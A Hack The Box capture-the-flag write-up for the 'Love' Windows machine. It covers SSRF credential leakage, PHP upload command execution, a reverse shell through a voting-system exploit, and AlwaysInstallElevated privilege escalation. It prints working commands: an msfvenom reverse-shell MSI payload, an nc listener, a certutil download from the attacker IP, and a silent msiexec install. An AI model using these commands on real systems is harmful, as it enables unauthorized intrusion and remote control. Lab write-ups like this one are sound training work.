Hackthebox - Love

  • Windows

Love

Nmap

Port 80

  • We can add these 2 lines to our file /etc/hosts

Dirb

Port 443

  • We can try to check out the certificate image

  • We get some useful info to keep aside

  • We get a new subdomain this way

Port 80

  • We can access the new subdomain through port 80

  • We get a free file scanner with a demo option image

  • I tried to see with http://127.0.0.1 but if we set up a python serv we could try to see if it actually fetches a file, and it does image

  • What if we try one of the port like 5000 (I got a forbidden when trying to access it previously)

  • It works! We get creds for the admin panel!! image

  • If we connect we get an admin panel image

  • In the Voters menu we can upload a file

  • we make a info.php file with a whoami command inside image

  • Let's check in the images folder (we found it previously with dirb) if it gets there. image

  • It does and if we click on it our command is executed image

  • If we try to execute oneliners we might need to encore our shells because it is not working as is.

  • I decided to have a look at other exploits for the voting system now that we are authenticated. And I could find this one

  • However when reading the script you will notice that the urls are not the proper one for us. Here is how to modify the begining of the script for it to work

  • And of course you need to put your ip the website target. Also note that the payload is indeed encoded.

  • It works and we have a reverse shell as phoebe image

  • We can grab the user flag image

Privesc

  • We can run winpeas

always installed
  • Let's try this. Here is a way to exploit the AlwaysInstalledElevated

  • msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.2 lport=5555 -f msi > gabrielle.msi

  • We set our listener rlwrap nc -lvp 5555

  • We serve it with pythom

  • We get it on the target certutil.exe -urlcache -f http://10.10.14.2/gabrielle.msi gabrielle.msi

  • msiexec /i C:\xampp\htdocs\omrs\images\gabrielle.msi /quiet /qn /norestart

  • We are root!! root shell

Last updated